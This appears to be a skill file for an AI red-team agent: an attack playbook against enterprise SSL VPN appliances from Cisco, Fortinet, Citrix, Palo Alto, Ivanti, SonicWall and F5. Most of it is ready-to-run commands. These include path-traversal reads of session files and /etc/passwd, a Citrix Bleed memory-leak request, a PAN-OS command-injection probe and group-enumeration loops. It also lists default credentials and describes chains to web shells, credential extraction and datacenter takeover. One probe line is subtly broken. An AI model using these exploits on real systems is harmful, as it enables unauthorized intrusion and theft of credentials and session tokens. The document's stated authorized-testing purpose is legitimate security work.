enterprise-vpn-attack

name	enterprise-vpn-attack
description	External SSL VPN / remote-access appliance attack matrix — Cisco ASA/AnyConnect, Fortinet FortiGate/FortiOS, Citrix NetScaler/ADC, Palo Alto GlobalProtect, Pulse Secure / Ivanti Connect Secure, SonicWall, F5 Big-IP. Covers version fingerprinting, CVE matrix (2018-2026), AAA backend identification, default credentials, configuration-disclosure paths, pre-auth RCE/SSRF/path-traversal exploits where applicable. Built from authorized-engagement Cisco ASA testing plus 2024-2026 enterprise VPN CVE landscape. Use whenever the target's perimeter exposes any SSL VPN appliance or remote-access gateway — these are the most common initial-access points in 2024-2026 actor TTPs.
sources	authorized-engagement, public-advisories, cisa-kev
report_count	1

When to use this skill

Trigger when recon surfaces:

• *.<client>.example/+CSCOE+/logon.html or similar +CSCOE+ paths → Cisco ASA / AnyConnect
• intranet.* / vpn.* / connect.* / webvpn.* / wc.* / remote.* subdomains
• Port 443 returning login pages with Server: Apache or banner like "AnyConnect", "FortiGate", "NetScaler", "GlobalProtect", "Pulse", "Ivanti"
• TCP 8443 / 4443 / 10443 / 8888 (common VPN web-mgmt ports)
• HTTP responses with Set-Cookie: webvpn= (Cisco) / SVPNCOOKIE= (Fortinet) / NSC_AAA= (Citrix) / DSAuthSession= (Pulse) / BIGipServer* (F5)

DO NOT use for:

• Internal lateral-movement post-foothold (out of scope per user's boundary)
• VPN client-side bugs (different attack class)
• IPsec / L2TP / OpenVPN (different protocols, not SSL VPN web stack)

---

Vendor identification (fingerprinting)

Cisco ASA / AnyConnect

curl -skI 'https://target/+CSCOE+/logon.html' | head -10
# Look for: Set-Cookie: webvpn=; X-Frame-Options: SAMEORIGIN; CSP: ... block-all-mixed-content
# Login page contains: "AnyConnect", "CSCOE", "logon.html"

ASA version: not banner-disclosed in modern builds; need to derive from JS file paths or test specific paths.

# Path-based version hints (older builds leaked builds in URLs)
curl -sk 'https://target/+CSCOE+/sdesktop/scan-finalize?path=test'
curl -sk 'https://target/+CSCOE+/saml/sp/metadata'         # 200 = SAML auth enabled
curl -sk 'https://target/CSCOSSLC/config-auth'             # AnyConnect handshake endpoint

Fortinet FortiGate / FortiOS

curl -skI 'https://target/remote/login' | head -10
# Look for: Set-Cookie: SVPNCOOKIE=, Server header missing or "xxxxxxxx-xxxxx"
# Login page contains: "FortiGate", "Fortinet", "SSL-VPN"

Version: /remote/info sometimes leaks (older), or /login?username= 302 response

Citrix NetScaler / ADC / Gateway

curl -skI 'https://target/' | head -10
# Look for: Set-Cookie: NSC_AAA=, Set-Cookie: NSC_USER=, Server: NetScaler
# Login page contains: "NetScaler", "Citrix Gateway"

# Version banner
curl -sk 'https://target/vpn/index.html' | grep -oE 'NetScaler/[0-9.]+|NS[0-9.]+'
curl -sk 'https://target/menu/neo'                # 200 if vulnerable to CVE-2019-19781 era

Palo Alto GlobalProtect

curl -skI 'https://target/global-protect/login.esp' | head -10
# Look for: Set-Cookie: PHPSESSID= (yes, GP uses PHP), Server: Apache (PA-VM internal)
# Page contains: "GlobalProtect Portal", "PAN-OS"

# Version banner via login page
curl -sk 'https://target/global-protect/login.esp' | grep -oE 'GlobalProtect Portal[\s\S]{0,200}'
# Or check meta tag
curl -sk 'https://target/global-protect/login.esp' | grep -oE 'panui-[0-9.]+'

Pulse Secure / Ivanti Connect Secure

curl -skI 'https://target/dana-na/auth/url_default/welcome.cgi' | head -10
# Look for: Set-Cookie: DSAuthSession=, DSPREAUTH=
# Page contains: "Pulse Secure" or "Ivanti Connect Secure"

# Version
curl -sk 'https://target/dana-na/auth/url_default/welcome.cgi' | grep -oE 'Pulse Connect Secure[^<]*|ivanti[^<]*[0-9.]+'

SonicWall NetExtender / SMA

curl -skI 'https://target/cgi-bin/welcome' | head -10
# Look for: Set-Cookie: swap=, swapauth=
# Page contains: "SonicWall", "NetExtender", "SMA"

F5 Big-IP / APM

curl -skI 'https://target/my.policy' | head -10
# Look for: Set-Cookie: BIGipServer*, MRHSession=
# Server: BIG-IP (sometimes)

---

CVE matrix — pre-auth or auth-bypass (2018-2026)

Cisco ASA / AnyConnect

CVE	Affects	Type	Test
CVE-2018-0296	ASA pre-9.x specific builds	Path traversal — info disclosure (sessions, config)	GET /+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua
CVE-2020-3452	ASA, FTD before specific patch levels	Path traversal — file read	GET /+CSCOE+/files/file_name.html?Filename=Microsoft.Manifest+/+CSCOT+/lua/test.lua and variations
CVE-2023-20269	ASA, FTD specific	Auth bypass on SSL VPN	Brute-force a group + valid creds combo against /+webvpn+/index.html
CVE-2024-20481	RAVPN	DoS via crafted handshake	SKIP in red team — disruptive

# Cisco CVE-2020-3452 — file read
curl -sk 'https://target/+CSCOE+/files/file_name.html?Filename=Microsoft.Manifest+/+CSCOT+/lua/test.lua' | head -5

# Cisco CVE-2018-0296 — path traversal
curl -sk 'https://target/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua' | head -20

# Files commonly retrievable on vulnerable ASA:
# /+CSCOE+/portal_inc.lua    (portal inclusions — may reveal local users)
# /+CSCOE+/session_password.html
# /+CSCOE+/files/files.html

Fortinet FortiGate / FortiOS

CVE	Affects	Type	Test
CVE-2018-13379	FortiOS 5.4-6.0	Path traversal — sslvpn_websession file read	GET /remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession
CVE-2022-42475	FortiOS 7.x specific	Heap overflow — pre-auth RCE	Complex exploit; test with nuclei template CVE-2022-42475
CVE-2023-27997 (XORtigate)	FortiOS various	Heap overflow — pre-auth RCE	Public PoCs exist; nuclei template available
CVE-2024-21762	FortiOS 6.x-7.x	OOB write — pre-auth RCE	Public PoC; nuclei template CVE-2024-21762
CVE-2024-55591	FortiOS 7.0-7.4	Auth bypass on FortiOS Node.js websocket admin interface	GET /endpoint on admin-interface port

# Fortinet CVE-2018-13379 — most reliably-fingerprintable file read
curl -sk --path-as-is 'https://target/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession'
# Response contains plaintext usernames + sessions if vulnerable

# Fortinet credential dump format (from CVE-2018-13379 dumps that hit pastebin in 2021):
# IP:PORT     username     password     (and others)

Citrix NetScaler / ADC / Gateway

CVE	Affects	Type	Test
CVE-2019-19781 (Shitrix)	ADC/Gateway 10.5-13.0 specific	Path traversal → RCE via XML upload	GET /vpn/../vpns/cfg/smb.conf
CVE-2022-27518	ADC/Gateway with SAML configured	Pre-auth RCE	Complex; test with nuclei
CVE-2023-3519	NetScaler ADC/Gateway 13.0-13.1 specific	Pre-auth RCE via crafted HTTP	Public PoCs exist
CVE-2023-4966 (Citrix Bleed)	NetScaler ADC/Gateway 13.0-14.1	Memory disclosure → session token theft	POST /oauth/idp/.well-known/openid-configuration with crafted Host header — long Host header triggers memory leak in response

# Citrix Bleed (CVE-2023-4966) detection
HOST=$(python3 -c "print('A' * 24812)")
curl -sk -X POST -H "Host: $HOST" "https://target/oauth/idp/.well-known/openid-configuration" -o response.txt
# If response is large (>10KB) and contains random memory contents — vulnerable
# Session tokens often present in the memory dump

# CVE-2019-19781 file read
curl -sk --path-as-is 'https://target/vpn/../vpns/cfg/smb.conf'

Palo Alto GlobalProtect

CVE	Affects	Type	Test
CVE-2024-3400	PAN-OS 10.2-11.1 with GP enabled	Command injection — pre-auth RCE	POST /ssl-vpn/login.esp with crafted Cookie header containing SESSID=../../../var/log/pan/test.txt

# CVE-2024-3400 detection
curl -sk -X POST 'https://target/ssl-vpn/login.esp' \
  -H 'Cookie: SESSID=../../../var/log/pan/test_$(id)_test.txt' \
  --data 'jsessionid=test'
# Look for file-creation side-effect on test path — palo creates file with command output

Pulse Secure / Ivanti Connect Secure / Policy Secure

CVE	Affects	Type	Test
CVE-2019-11510	Pulse Connect Secure 8.x-9.x	Arbitrary file read	GET /dana-na/../dana/html5acc/guacamole/../../../../../../../etc/passwd?/dana/html5acc/guacamole/
CVE-2021-22893	Pulse Connect Secure 9.x	Pre-auth RCE	Complex multi-step; test with nuclei
CVE-2024-21887	Ivanti Connect Secure 9.1-22.6	Command injection on web component	POST /api/v1/totp/user-backup-code/ with crafted body
CVE-2023-46805	Ivanti Connect Secure 9.1-22.6	Auth bypass	Combined with 21887 for full chain

# CVE-2019-11510 — Pulse file read
curl -sk --path-as-is 'https://target/dana-na/../dana/html5acc/guacamole/../../../../../../../etc/passwd?/dana/html5acc/guacamole/'

SonicWall

CVE	Affects	Type	Test
CVE-2021-20016	SMA 100 series specific firmware	SQL injection — pre-auth	nuclei template available
CVE-2024-40766	SonicOS specific	Access-control flaw	Specific firmware versions

---

SAML SP / IdP misconfigurations (always check)

Most enterprise VPNs now use SAML for SSO. Check SP metadata:

# Cisco ASA
curl -sk 'https://target/+CSCOE+/saml/sp/metadata' | head -50

# Fortinet
curl -sk 'https://target/remote/saml/metadata' | head -50

# Citrix
curl -sk 'https://target/saml/login' | head -30

Look for:

• AuthnRequestsSigned="false" → see hunt-saml for XSW exploitation
• WantAssertionsSigned="false" → severe; assertion-replay possible
• Audience-restriction validation gaps
• Public SP signing cert (for replay/forging attacks)

---

Default credentials (test sparingly — lockout risk)

Vendor	User	Password	Notes
Cisco ASA	admin	cisco	Default factory; rarely seen in prod
Cisco ASA	enable_15	cisco	Console
Fortinet	admin	(empty)	Factory default
Citrix NetScaler	nsroot	nsroot	Factory default
Citrix NetScaler	nsroot	(serial number)	Newer firmware
Palo Alto	admin	admin	Factory default
Pulse Secure	admin	password	Factory; CIS-hardened changes this
F5 Big-IP	root	default	Factory
F5 Big-IP	admin	admin	Common alternate
SonicWall	admin	password	Factory

⚠ Most enterprise targets have changed these. Test ≤2 attempts per account to avoid lockout.

---

Group / tunnel-group enumeration (Cisco-specific)

Cisco ASA AAA groups can sometimes be enumerated without auth.

# Tunnel group enumeration via timing
for group in DefaultRAGroup DefaultWEBVPNGroup SSLVPN Employees Contractors Vendors Partners Sales Marketing IT; do
  ms=$(curl -sk --max-time 10 -o /dev/null -w "%{time_total}" \
    -X POST "https://target/+webvpn+/index.html" \
    -d "username=test&password=test&group_list=$group&tgroup=&Login=Login")
  echo "$group: ${ms}s"
done
# Larger differential timing = group exists; valid groups respond slower in some builds

---

AAA backend identification

After auth fails, look at error response details:

Pattern in response	AAA backend
a0=2 (Cisco)	Unknown user
a0=3 (Cisco)	Wrong password
a0=4 (Cisco)	Login restricted
a0=12 (Cisco)	Account locked
a0=115 (Cisco)	Generic auth fail (LDAP/RADIUS/AD layer error)
AADSTS in response body	Backed by Entra (SAML)
Authentication failed via RADIUS	RADIUS backend
Invalid username or password (generic)	LDAP or local DB

If you see SAML/Entra in the flow, pivot to m365-entra-attack skill for cred-spray strategy.

---

Common probe sequence (5-minute fingerprint)

TARGET="vpn.target.com"

# Cisco
curl -skI "https://$TARGET/+CSCOE+/logon.html" 2>&1 | head -3
curl -sk "https://$TARGET/+CSCOE+/saml/sp/metadata" -o /tmp/cisco_saml.xml; ls -la /tmp/cisco_saml.xml
curl -sk --path-as-is "https://$TARGET/+CSCOE+/files/file_name.html?Filename=Microsoft.Manifest" -o /tmp/cisco_cve.html

# Fortinet
curl -skI "https://$TARGET/remote/login" 2>&1 | head -3
curl -sk --path-as-is "https://$TARGET/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession" -o /tmp/forti_cve.txt; head -c 200 /tmp/forti_cve.txt

# Citrix
curl -skI "https://$TARGET/" 2>&1 | head -3
curl -sk --path-as-is "https://$TARGET/vpn/../vpns/cfg/smb.conf" -o /tmp/citrix_cve.txt; head -c 200 /tmp/citrix_cve.txt
HOST=$(python3 -c "print('A' * 24812)")
curl -sk -X POST -H "Host: $HOST" "https://$TARGET/oauth/idp/.well-known/openid-configuration" -o /tmp/citrix_bleed.txt
wc -c /tmp/citrix_bleed.txt

# Palo Alto
curl -skI "https://$TARGET/global-protect/login.esp" 2>&1 | head -3

# Pulse / Ivanti
curl -skI "https://$TARGET/dana-na/auth/url_default/welcome.cgi" 2>&1 | head -3
curl -sk --path-as-is "https://$TARGET/dana-na/../dana/html5acc/guacamole/../../../../../../../etc/passwd?/dana/html5acc/guacamole/" -o /tmp/pulse_cve.txt;  -c 200 /tmp/pulse_cve.txt

---

Nuclei templates for fast triage

Nuclei has high-quality templates for most of the above CVEs. Single command sweeps:

nuclei -u https://target/ \
  -tags vpn,cisco-asa,fortinet,citrix,palo-alto,pulse-secure,sonicwall,f5 \
  -severity high,critical -rl 5

Add -as (auto-scan) for broader vuln coverage but slower.

---

Operational discipline

• Banner-stripped servers (no version disclosure) are good defense-in-depth — record as positive finding even if no CVE found
• Rate-limit yourself — these appliances often log every request to a SIEM. Patient pace, jittered timing.
• SAML metadata is anonymous — pull it. It's intel about AAA backend.
• Don't run pre-auth-RCE PoCs in red team without explicit OK — accidentally bricking a VPN concentrator = catastrophic for the client. Detection-only tests first, then escalate with permission.
• Document the AAA backend identification — knowing whether ASA uses RADIUS-to-local vs SAML-to-Entra changes downstream attack paths.

---

Bridge to neighboring skills

• m365-entra-attack — when AAA backend is Entra SAML; cred-spray strategy carries over
• hunt-saml — XSW / signature-stripping if SAML SP is misconfigured
• mid-engagement-ir-detection — appliances generate noisy logs; watch for IPS rules being deployed mid-engagement
• redteam-mindset — banner-stripped ≠ "not vulnerable"; keep digging via behavioral fingerprints

---

Anti-patterns

• Don't conclude "patched" from a 404 on one CVE path — patches deploy unevenly; test 3+ CVEs per vendor
• Don't trust the version banner alone — appliance vendors often backport fixes without bumping the version string
• Don't run heavy nuclei scans without rate-limiting — these appliances are critical infrastructure
• Don't fingerprint by trying all CVE PoCs immediately — start with non-disruptive HEAD + version-banner probes
• Don't skip SAML metadata — even when the appliance is patched, SAML SP misconfig is its own attack surface

---

Related Skills & Chains

• hunt-rce — Every major VPN appliance (Pulse Secure, Fortinet, Citrix, Ivanti, Palo Alto) has shipped pre-auth path-traversal-to-RCE in the last 24 months. Chain primitive: VPN appliance CVE (e.g., Ivanti ICS CVE-2024-21887, Citrix Bleed CVE-2023-4966, Fortinet CVE-2024-21762) → hunt-rce pre-auth path traversal → arbitrary file write into web-root → request the file → web-shell as root → VPN config + LDAP bind credentials extracted.
• hunt-saml — VPN SAML SP misconfig persists even on fully-patched appliances. Chain primitive: appliance patched against latest CVE but /saml/metadata reachable → IdP fingerprinted → hunt-saml XSW or comment-injection against IdP → forged assertion → VPN session established without password/MFA.
• vmware-vcenter-attack — Post-VPN-foothold the natural next pivot is vCenter. Chain primitive: VPN web-shell → cred extraction from VPN appliance config (LDAP bind, RADIUS shared secret) → reuse against internal vCenter → if scope permits, vmware-vcenter-attack → datacenter takeover.
• hunt-ntlm-info — Some VPN appliances expose anonymous NTLM on management paths. Chain primitive: VPN admin portal NTLM Type-2 capture → hunt-ntlm-info AV_PAIR decode → internal AD forest name → m365-entra-attack Entra spray on synced tenant.
• mid-engagement-ir-detection + redteam-report-template — VPN appliance CVE exploitation is high-noise; SOC patches fast. Chain primitive: confirmed CVE → baseline capture via mid-engagement-ir-detection → if appliance updates mid-test, capture the patched-state as a SECOND finding → run both findings through triage-validation → package via redteam-report-template with explicit critical-infrastructure framing.